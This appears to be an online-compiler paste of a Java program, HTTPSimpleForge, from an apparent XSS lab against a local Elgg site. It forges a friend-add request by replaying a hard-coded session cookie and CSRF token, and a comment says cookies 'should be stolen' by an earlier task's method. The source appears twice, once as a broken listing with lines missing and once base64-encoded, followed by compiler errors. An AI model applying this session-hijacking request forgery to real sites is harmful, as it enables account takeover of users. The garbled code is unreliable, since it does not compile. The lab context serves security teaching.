import java.io.* ;
import java.net.* ;
public class HTTPSimpleForge {
try {
int responseCode;
String requestDetails
= "&__elgg_ts=1481400120&__elgg_token=fba47622af2dc3d351efd79b033c58bf" ; // URL to be forged.
URL url
= new URL ( "http://w...content-available-to-author-only...g.com/action/friends/add?friend=41" + requestDetails
) ; // URLConnection instance is created to further parameterize a
// resource request past what the state members of URL instance
// can represent.
urlConn.setConnectTimeout ( 60000 ) ;
urlConn.setReadTimeout ( 90000 ) ;
}
// addRequestProperty method is used to add HTTP Header Information.
// Here we add User-Agent HTTP header to the forged HTTP packet.
// Add other necessary HTTP Headers yourself. Cookies should be stolen
// using the method in task3.
//urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
urlConn.addRequestProperty ( "Host" ,"www.xsslabelgg.com" ,"User-agent" ,"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0" ,"Accept" ,"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" ,"Accept-Language" ,"en-US,en;q=0.5" ,"Accept-Encoding" ,"gzip, deflate" ,"Referer" ,"http://w...content-available-to-author-only...g.com/profile/charlie" ,"Cookie" ,"Elgg=gc94mkrklkb3civvn3j9kl0no6" ,"Connection" ,"keep-alive" ) ;
//HTTP Post Data which includes the information to be sent to the server.
String data
= "name=charlie&guid=41" ; // DoOutput flag of URL Connection should be set to true
// to send HTTP POST message.
urlConn.setDoOutput ( true ) ;
// OutputStreamWriter is used to write the HTTP POST data
// to the url connection.
wr.write ( data) ;
wr.flush ( ) ;
// HttpURLConnection a subclass of URLConnection is returned by
// url.openConnection() since the url is an http request.
// Contacts the web server and gets the status code from
// HTTP Response message.
responseCode = httpConn.getResponseCode ( ) ;
System .
out .
println ( "Response Code = " + responseCode
) ; // HTTP status code HTTP_OK means the response was
// received sucessfully.
// Get the input stream from url connection object.
responseIn = urlConn.getInputStream ( ) ;
// Create an instance for BufferedReader
// to read the response line by line.
while ( ( inputLine = buf_inp.readLine ( ) ) != null ) {
System .
out .
println ( inputLine
) ; }
}
e.printStackTrace ( ) ;
}
}
}
aW1wb3J0IGphdmEuaW8uKjsKaW1wb3J0IGphdmEubmV0Lio7CnB1YmxpYyBjbGFzcyBIVFRQU2ltcGxlRm9yZ2UgewpwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgSU9FeGNlcHRpb24gewp0cnkgewppbnQgcmVzcG9uc2VDb2RlOwpJbnB1dFN0cmVhbSByZXNwb25zZUluPW51bGw7ClN0cmluZyByZXF1ZXN0RGV0YWlscyA9ICImX19lbGdnX3RzPTE0ODE0MDAxMjAmX19lbGdnX3Rva2VuPWZiYTQ3NjIyYWYyZGMzZDM1MWVmZDc5YjAzM2M1OGJmIjsKLy8gVVJMIHRvIGJlIGZvcmdlZC4KVVJMIHVybCA9IG5ldyBVUkwgKCJodHRwOi8vdy4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uZy5jb20vYWN0aW9uL2ZyaWVuZHMvYWRkP2ZyaWVuZD00MSIrcmVxdWVzdERldGFpbHMpOwovLyBVUkxDb25uZWN0aW9uIGluc3RhbmNlIGlzIGNyZWF0ZWQgdG8gZnVydGhlciBwYXJhbWV0ZXJpemUgYQovLyByZXNvdXJjZSByZXF1ZXN0IHBhc3Qgd2hhdCB0aGUgc3RhdGUgbWVtYmVycyBvZiBVUkwgaW5zdGFuY2UKLy8gY2FuIHJlcHJlc2VudC4KSHR0cFVSTENvbm5lY3Rpb24gdXJsQ29ubiA9IChIdHRwVVJMQ29ubmVjdGlvbikgdXJsLm9wZW5Db25uZWN0aW9uKCk7CmlmICh1cmxDb25uIGluc3RhbmNlb2YgSHR0cFVSTENvbm5lY3Rpb24pIHsKdXJsQ29ubi5zZXRDb25uZWN0VGltZW91dCg2MDAwMCk7CnVybENvbm4uc2V0UmVhZFRpbWVvdXQoOTAwMDApOwp9Ci8vIGFkZFJlcXVlc3RQcm9wZXJ0eSBtZXRob2QgaXMgdXNlZCB0byBhZGQgSFRUUCBIZWFkZXIgSW5mb3JtYXRpb24uCi8vIEhlcmUgd2UgYWRkIFVzZXItQWdlbnQgSFRUUCBoZWFkZXIgdG8gdGhlIGZvcmdlZCBIVFRQIHBhY2tldC4KLy8gQWRkIG90aGVyIG5lY2Vzc2FyeSBIVFRQIEhlYWRlcnMgeW91cnNlbGYuIENvb2tpZXMgc2hvdWxkIGJlIHN0b2xlbgovLyB1c2luZyB0aGUgbWV0aG9kIGluIHRhc2szLgovL3VybENvbm4uYWRkUmVxdWVzdFByb3BlcnR5KCJVc2VyLWFnZW50IiwiU3VuIEpESyAxLjYiKTsKdXJsQ29ubi5hZGRSZXF1ZXN0UHJvcGVydHkoIkhvc3QiLCJ3d3cueHNzbGFiZWxnZy5jb20iLCJVc2VyLWFnZW50IiwiTW96aWxsYS81LjAgKFgxMTsgVWJ1bnR1OyBMaW51eCBpNjg2OyBydjoyMy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzIzLjAiLCJBY2NlcHQiLCJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiLCJBY2NlcHQtTGFuZ3VhZ2UiLCJlbi1VUyxlbjtxPTAuNSIsIkFjY2VwdC1FbmNvZGluZyIsImd6aXAsIGRlZmxhdGUiLCJSZWZlcmVyIiwiaHR0cDovL3cuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmcuY29tL3Byb2ZpbGUvY2hhcmxpZSIsIkNvb2tpZSIsIkVsZ2c9Z2M5NG1rcmtsa2IzY2l2dm4zajlrbDBubzYiLCJDb25uZWN0aW9uIiwia2VlcC1hbGl2ZSIpOwovL0hUVFAgUG9zdCBEYXRhIHdoaWNoIGluY2x1ZGVzIHRoZSBpbmZvcm1hdGlvbiB0byBiZSBzZW50IHRvIHRoZSBzZXJ2ZXIuClN0cmluZyBkYXRhID0gIm5hbWU9Y2hhcmxpZSZndWlkPTQxIjsKLy8gRG9PdXRwdXQgZmxhZyBvZiBVUkwgQ29ubmVjdGlvbiBzaG91bGQgYmUgc2V0IHRvIHRydWUKLy8gdG8gc2VuZCBIVFRQIFBPU1QgbWVzc2FnZS4KdXJsQ29ubi5zZXREb091dHB1dCh0cnVlKTsKLy8gT3V0cHV0U3RyZWFtV3JpdGVyIGlzIHVzZWQgdG8gd3JpdGUgdGhlIEhUVFAgUE9TVCBkYXRhCi8vIHRvIHRoZSB1cmwgY29ubmVjdGlvbi4KT3V0cHV0U3RyZWFtV3JpdGVyIHdyID0gbmV3IE91dHB1dFN0cmVhbVdyaXRlcih1cmxDb25uLmdldE91dHB1dFN0cmVhbSgpKTsKd3Iud3JpdGUoZGF0YSk7CndyLmZsdXNoKCk7Ci8vIEh0dHBVUkxDb25uZWN0aW9uIGEgc3ViY2xhc3Mgb2YgVVJMQ29ubmVjdGlvbiBpcyByZXR1cm5lZCBieQovLyB1cmwub3BlbkNvbm5lY3Rpb24oKSBzaW5jZSB0aGUgdXJsIGlzIGFuIGh0dHAgcmVxdWVzdC4KaWYgKHVybENvbm4gaW5zdGFuY2VvZiBIdHRwVVJMQ29ubmVjdGlvbikgewpIdHRwVVJMQ29ubmVjdGlvbiBodHRwQ29ubiA9IChIdHRwVVJMQ29ubmVjdGlvbikgdXJsQ29ubjsKLy8gQ29udGFjdHMgdGhlIHdlYiBzZXJ2ZXIgYW5kIGdldHMgdGhlIHN0YXR1cyBjb2RlIGZyb20KLy8gSFRUUCBSZXNwb25zZSBtZXNzYWdlLgpyZXNwb25zZUNvZGUgPSBodHRwQ29ubi5nZXRSZXNwb25zZUNvZGUoKTsKU3lzdGVtLm91dC5wcmludGxuKCJSZXNwb25zZSBDb2RlID0gIiArIHJlc3BvbnNlQ29kZSk7Ci8vIEhUVFAgc3RhdHVzIGNvZGUgSFRUUF9PSyBtZWFucyB0aGUgcmVzcG9uc2Ugd2FzCi8vIHJlY2VpdmVkIHN1Y2Vzc2Z1bGx5LgppZiAocmVzcG9uc2VDb2RlID09IEh0dHBVUkxDb25uZWN0aW9uLkhUVFBfT0spCi8vIEdldCB0aGUgaW5wdXQgc3RyZWFtIGZyb20gdXJsIGNvbm5lY3Rpb24gb2JqZWN0LgpyZXNwb25zZUluID0gdXJsQ29ubi5nZXRJbnB1dFN0cmVhbSgpOwovLyBDcmVhdGUgYW4gaW5zdGFuY2UgZm9yIEJ1ZmZlcmVkUmVhZGVyCi8vIHRvIHJlYWQgdGhlIHJlc3BvbnNlIGxpbmUgYnkgbGluZS4KQnVmZmVyZWRSZWFkZXIgYnVmX2lucCA9IG5ldyBCdWZmZXJlZFJlYWRlcigKbmV3IElucHV0U3RyZWFtUmVhZGVyKHJlc3BvbnNlSW4pKTsKU3RyaW5nIGlucHV0TGluZTsKd2hpbGUoKGlucHV0TGluZSA9IGJ1Zl9pbnAucmVhZExpbmUoKSkhPW51bGwpIHsKU3lzdGVtLm91dC5wcmludGxuKGlucHV0TGluZSk7Cn0KfQp9IGNhdGNoIChNYWxmb3JtZWRVUkxFeGNlcHRpb24gZSkgewplLnByaW50U3RhY2tUcmFjZSgpOwp9Cn0KfQ==
compilation info
Main.java:3: error: class HTTPSimpleForge is public, should be declared in a file named HTTPSimpleForge.java
public class HTTPSimpleForge {
^
Main.java:24: error: method addRequestProperty in class URLConnection cannot be applied to given types;
urlConn.addRequestProperty("Host","www.xsslabelgg.com","User-agent","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0","Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language","en-US,en;q=0.5","Accept-Encoding","gzip, deflate","Referer","http://www.xsslabelgg.com/profile/charlie","Cookie","Elgg=gc94mkrklkb3civvn3j9kl0no6","Connection","keep-alive");
^
required: String,String
found: String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,String
reason: actual and formal argument lists differ in length
2 errors
stdout